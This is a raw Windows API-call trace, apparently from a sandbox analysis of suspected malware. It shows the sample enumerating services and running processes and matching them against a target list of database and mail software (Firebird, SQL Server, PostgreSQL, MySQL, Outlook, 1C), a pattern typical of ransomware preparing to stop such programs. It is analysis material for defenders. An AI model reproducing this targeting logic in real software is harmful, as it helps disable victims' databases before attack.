	[0273.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0273.770] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0273.771] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0273.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0273.771] lstrlenW (lpString="iphlpsvc") returned 8
	[0273.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0273.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0273.771] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0273.771] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0273.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0273.771] lstrlenW (lpString="LanmanServer") returned 12
	[0273.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0273.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0273.771] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0273.771] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0273.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0273.771] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0273.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0273.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0273.771] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0273.771] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0273.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0273.771] lstrlenW (lpString="lmhosts") returned 7
	[0273.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0273.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0273.771] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0273.771] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0273.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0273.771] lstrlenW (lpString="MMCSS") returned 5
	[0273.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0273.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0273.772] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0273.772] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0273.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0273.772] lstrlenW (lpString="MpsSvc") returned 6
	[0273.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0273.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0273.772] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0273.772] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0273.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0273.772] lstrlenW (lpString="NlaSvc") returned 6
	[0273.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0273.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0273.772] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0273.772] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0273.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0273.772] lstrlenW (lpString="nsi") returned 3
	[0273.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0273.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0273.772] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0273.772] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0273.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0273.772] lstrlenW (lpString="PcaSvc") returned 6
	[0273.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0273.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0273.772] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0273.772] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0273.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0273.772] lstrlenW (lpString="PlugPlay") returned 8
	[0273.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0273.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0273.772] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0273.773] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0273.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0273.773] lstrlenW (lpString="Power") returned 5
	[0273.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0273.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0273.773] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0273.773] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0273.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0273.773] lstrlenW (lpString="ProfSvc") returned 7
	[0273.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0273.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0273.773] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0273.773] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0273.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0273.773] lstrlenW (lpString="RpcEptMapper") returned 12
	[0273.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0273.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0273.773] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0273.773] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0273.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0273.773] lstrlenW (lpString="RpcSs") returned 5
	[0273.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0273.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0273.773] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0273.773] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0273.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0273.773] lstrlenW (lpString="SamSs") returned 5
	[0273.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0273.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0273.773] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0273.773] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0273.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0273.774] lstrlenW (lpString="Schedule") returned 8
	[0273.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0273.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0273.774] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0273.774] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0273.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0273.774] lstrlenW (lpString="SENS") returned 4
	[0273.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0273.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0273.774] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0273.774] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0273.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0273.774] lstrlenW (lpString="ShellHWDetection") returned 16
	[0273.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0273.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0273.774] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0273.774] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0273.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0273.774] lstrlenW (lpString="Spooler") returned 7
	[0273.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0273.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0273.774] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0273.774] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0273.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0273.774] lstrlenW (lpString="SysMain") returned 7
	[0273.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0273.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0273.774] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0273.774] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0273.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0273.775] lstrlenW (lpString="Themes") returned 6
	[0273.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0273.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0273.775] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0273.775] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0273.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0273.775] lstrlenW (lpString="TrkWks") returned 6
	[0273.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0273.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0273.775] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0273.775] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0273.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0273.775] lstrlenW (lpString="UxSms") returned 5
	[0273.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0273.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0273.775] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0273.775] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0273.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0273.775] lstrlenW (lpString="Winmgmt") returned 7
	[0273.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0273.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0273.775] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0273.775] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0273.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0273.775] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0273.775] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x29c
	[0273.777] Process32FirstW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0273.777] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0273.777] lstrlenW (lpString="System") returned 6
	[0273.777] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0273.777] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0273.777] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0273.777] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0273.777] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0273.777] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0273.777] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0273.777] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0273.778] lstrlenW (lpString="smss.exe") returned 8
	[0273.778] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0273.778] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0273.778] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0273.778] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0273.778] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0273.778] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0273.778] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0273.778] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0273.778] lstrlenW (lpString="csrss.exe") returned 9
	[0273.778] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0273.778] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0273.778] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0273.778] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0273.778] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0273.778] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0273.778] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0273.778] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0273.779] lstrlenW (lpString="wininit.exe") returned 11
	[0273.779] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0273.779] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0273.779] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0273.779] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0273.779] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0273.779] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0273.779] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0273.779] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0273.779] lstrlenW (lpString="csrss.exe") returned 9
	[0273.779] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0273.779] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0273.779] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0273.779] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0273.779] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0273.779] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0273.779] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0273.779] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0273.780] lstrlenW (lpString="winlogon.exe") returned 12
	[0273.780] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0273.780] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0273.780] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0273.780] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0273.780] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0273.780] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0273.780] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0273.780] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0273.780] lstrlenW (lpString="services.exe") returned 12
	[0273.780] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0273.780] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0273.780] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0273.780] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0273.780] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0273.780] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0273.780] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0273.780] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0273.780] lstrlenW (lpString="lsass.exe") returned 9
	[0273.781] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0273.781] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0273.781] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0273.781] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0273.781] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0273.781] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0273.781] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0273.781] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0273.781] lstrlenW (lpString="lsm.exe") returned 7
	[0273.781] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0273.781] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0273.781] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0273.781] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0273.781] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0273.781] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0273.789] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0273.789] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0273.789] lstrlenW (lpString="svchost.exe") returned 11
	[0273.789] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0273.789] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0273.789] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0273.789] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0273.789] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0273.789] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0273.789] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0273.790] lstrlenW (lpString="svchost.exe") returned 11
	[0273.790] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0273.790] lstrlenW (lpString="svchost.exe") returned 11
	[0273.790] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0273.790] lstrlenW (lpString="svchost.exe") returned 11
	[0273.790] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0273.790] lstrlenW (lpString="svchost.exe") returned 11
	[0273.791] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0273.791] lstrlenW (lpString="audiodg.exe") returned 11
	[0273.791] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0273.791] lstrlenW (lpString="svchost.exe") returned 11
	[0273.791] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0273.791] lstrlenW (lpString="userinit.exe") returned 12
	[0273.791] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0273.792] lstrlenW (lpString="explorer.exe") returned 12
	[0273.792] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0273.792] lstrlenW (lpString="dwm.exe") returned 7
	[0273.792] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0273.792] lstrlenW (lpString="svchost.exe") returned 11
	[0273.792] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0273.793] lstrlenW (lpString="swpesp.exe") returned 10
	[0273.793] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0273.793] lstrlenW (lpString="spoolsv.exe") returned 11
	[0273.793] Process32NextW (in: hSnapshot=0x29c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0273.793] lstrlenW (lpString="taskhost.exe") returned 12
